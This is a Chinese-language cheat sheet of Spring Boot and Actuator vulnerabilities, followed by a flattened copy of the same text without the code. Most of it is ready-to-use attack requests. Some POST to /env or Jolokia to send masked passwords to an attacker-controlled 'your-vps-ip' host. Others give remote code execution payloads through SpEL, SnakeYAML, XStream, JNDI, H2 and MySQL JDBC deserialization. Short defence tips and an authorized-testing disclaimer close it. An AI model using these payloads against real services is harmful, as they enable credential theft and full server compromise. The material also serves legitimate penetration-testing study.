最全Spring Boot 相关漏洞学习汇总
字数 1487 2025-08-10 08:29:06

Spring Boot 相关漏洞学习汇总

零、路由和版本知识

0x01:路由知识

  • 自定义根路径:/manage、/management 或项目相关名称
  • Actuator 路由:
    • 1.x 版本默认以 / 开头
    • 2.x 版本统一以 /actuator 开头
  • 可能被修改的路由名称:如 /env 可能被改为 /appenv

0x02:版本知识

  • Spring Cloud 与 Spring Boot 版本依赖关系:

    • Angel: 兼容 Spring Boot 1.2.x
    • Brixton: 兼容 1.3.x、1.4.x
    • Camden: 兼容 1.4.x、1.5.x
    • Dalston/Edgware: 兼容 1.5.x,不兼容 2.0.x
    • Finchley: 兼容 2.0.x,不兼容 1.5.x
    • Greenwich: 兼容 2.1.x
    • Hoxton: 兼容 2.2.x
  • 小版本号后缀含义:

    • BUILD-SNAPSHOT: 快照版
    • MX: 里程碑版
    • RCX: 候选发布版
    • RELEASE: 正式发布版
    • SRX: 修复版

一、信息泄露漏洞

0x01:路由地址及接口调用详情泄漏

  • 常见 Swagger 相关路由:

    /v2/api-docs
    /swagger-ui.html
    /api-docs
    /swagger
    /swagger-ui
    
  • Actuator 可能泄露的路由:

    /mappings
    /metrics
    /beans
    /configprops
    

0x02:配置不当暴露的路由

  • 常见暴露的 Actuator 路由:
    /env
    /actuator/env
    /refresh
    /actuator/refresh
    /restart
    /actuator/restart
    /jolokia
    /actuator/jolokia
    /trace
    /actuator/httptrace
    

0x03-0x06:获取被星号脱敏的密码明文

方法一:通过 Jolokia

  1. 找到属性名(GET /env)
  2. 调用 MBean 获取明文:
    POST /jolokia
    {"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
    

方法二:通过 Eureka

  1. 找到属性名
  2. 设置属性:
    POST /env
    eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
    
  3. 刷新配置(POST /refresh)

方法三:通过占位符

POST /env
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

方法四:通过 Heap Dump

  1. 下载 heapdump(GET /heapdump)
  2. 使用 MAT 分析:
    select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
    

二、远程代码执行漏洞

0x01:whitelabel error page SpEL RCE

  • 利用条件:存在错误页面且参数可注入
  • 利用方法:
    /article?id=${T(java.lang.Runtime).getRuntime().exec("calc")}
    

0x02:spring cloud SnakeYAML RCE

  • 利用条件:可设置属性并刷新配置
  • 利用方法:
    1. 托管恶意 yml 和 jar
    2. 设置属性:
      POST /env
      spring.cloud.bootstrap.location=http://your-vps-ip/example.yml
      
    3. 刷新配置

0x03:eureka xstream deserialization RCE

  • 利用方法:
    1. 架设恶意 XStream 服务器
    2. 设置属性:
      POST /env
      eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example
      
    3. 刷新配置

0x04:jolokia logback JNDI RCE

  • 利用方法:
    1. 托管恶意 xml
    2. 触发:
      /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
      

0x05:jolokia Realm JNDI RCE

  • 利用方法:
    1. 准备恶意 class
    2. 架设 RMI 服务
    3. 发送恶意 payload

0x06:restart h2 database query RCE

  • 利用方法:
    POST /env
    spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
    
    然后重启应用

0x07:h2 database console JNDI RCE

  • 利用方法:
    1. 准备恶意 class
    2. 触发:
      POST /h2-console/login.do?jsessionid=xxxxxx
      driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject
      

0x08:mysql jdbc deserialization RCE

  • 利用方法:
    1. 架设恶意 MySQL 服务器
    2. 设置属性:
      POST /env
      spring.datasource.url=jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
      
    3. 刷新配置

0x09-0x0C:restart 相关 RCE

通过 logging.config:

POST /env
logging.config=http://your-vps-ip/example.xml

通过 spring.main.sources:

POST /env
spring.main.sources=http://your-vps-ip/example.groovy

通过 spring.datasource.data:

POST /env
spring.datasource.data=http://your-vps-ip/example.sql

然后重启应用

防御建议

  1. 禁用不必要的 Actuator 端点
  2. 确保生产环境关闭调试功能
  3. 限制 Actuator 端点的访问权限
  4. 及时更新 Spring Boot 和相关组件
  5. 避免在配置文件中存储明文密码
  6. 使用安全的反序列化配置

注:本文档仅供安全研究和授权测试使用,请勿用于非法用途。

Spring Boot 相关漏洞学习汇总 零、路由和版本知识 0x01:路由知识 自定义根路径:/manage、/management 或项目相关名称 Actuator 路由: 1.x 版本默认以 / 开头 2.x 版本统一以 /actuator 开头 可能被修改的路由名称:如 /env 可能被改为 /appenv 0x02:版本知识 Spring Cloud 与 Spring Boot 版本依赖关系: Angel: 兼容 Spring Boot 1.2.x Brixton: 兼容 1.3.x、1.4.x Camden: 兼容 1.4.x、1.5.x Dalston/Edgware: 兼容 1.5.x,不兼容 2.0.x Finchley: 兼容 2.0.x,不兼容 1.5.x Greenwich: 兼容 2.1.x Hoxton: 兼容 2.2.x 小版本号后缀含义: BUILD-SNAPSHOT: 快照版 MX: 里程碑版 RCX: 候选发布版 RELEASE: 正式发布版 SRX: 修复版 一、信息泄露漏洞 0x01:路由地址及接口调用详情泄漏 常见 Swagger 相关路由: Actuator 可能泄露的路由: 0x02:配置不当暴露的路由 常见暴露的 Actuator 路由: 0x03-0x06:获取被星号脱敏的密码明文 方法一:通过 Jolokia 找到属性名(GET /env) 调用 MBean 获取明文: 方法二:通过 Eureka 找到属性名 设置属性: 刷新配置(POST /refresh) 方法三:通过占位符 方法四:通过 Heap Dump 下载 heapdump(GET /heapdump) 使用 MAT 分析: 二、远程代码执行漏洞 0x01:whitelabel error page SpEL RCE 利用条件:存在错误页面且参数可注入 利用方法: 0x02:spring cloud SnakeYAML RCE 利用条件:可设置属性并刷新配置 利用方法: 托管恶意 yml 和 jar 设置属性: 刷新配置 0x03:eureka xstream deserialization RCE 利用方法: 架设恶意 XStream 服务器 设置属性: 刷新配置 0x04:jolokia logback JNDI RCE 利用方法: 托管恶意 xml 触发: 0x05:jolokia Realm JNDI RCE 利用方法: 准备恶意 class 架设 RMI 服务 发送恶意 payload 0x06:restart h2 database query RCE 利用方法: 然后重启应用 0x07:h2 database console JNDI RCE 利用方法: 准备恶意 class 触发: 0x08:mysql jdbc deserialization RCE 利用方法: 架设恶意 MySQL 服务器 设置属性: 刷新配置 0x09-0x0C:restart 相关 RCE 通过 logging.config: 通过 spring.main.sources: 通过 spring.datasource.data: 然后重启应用 防御建议 禁用不必要的 Actuator 端点 确保生产环境关闭调试功能 限制 Actuator 端点的访问权限 及时更新 Spring Boot 和相关组件 避免在配置文件中存储明文密码 使用安全的反序列化配置 注:本文档仅供安全研究和授权测试使用,请勿用于非法用途。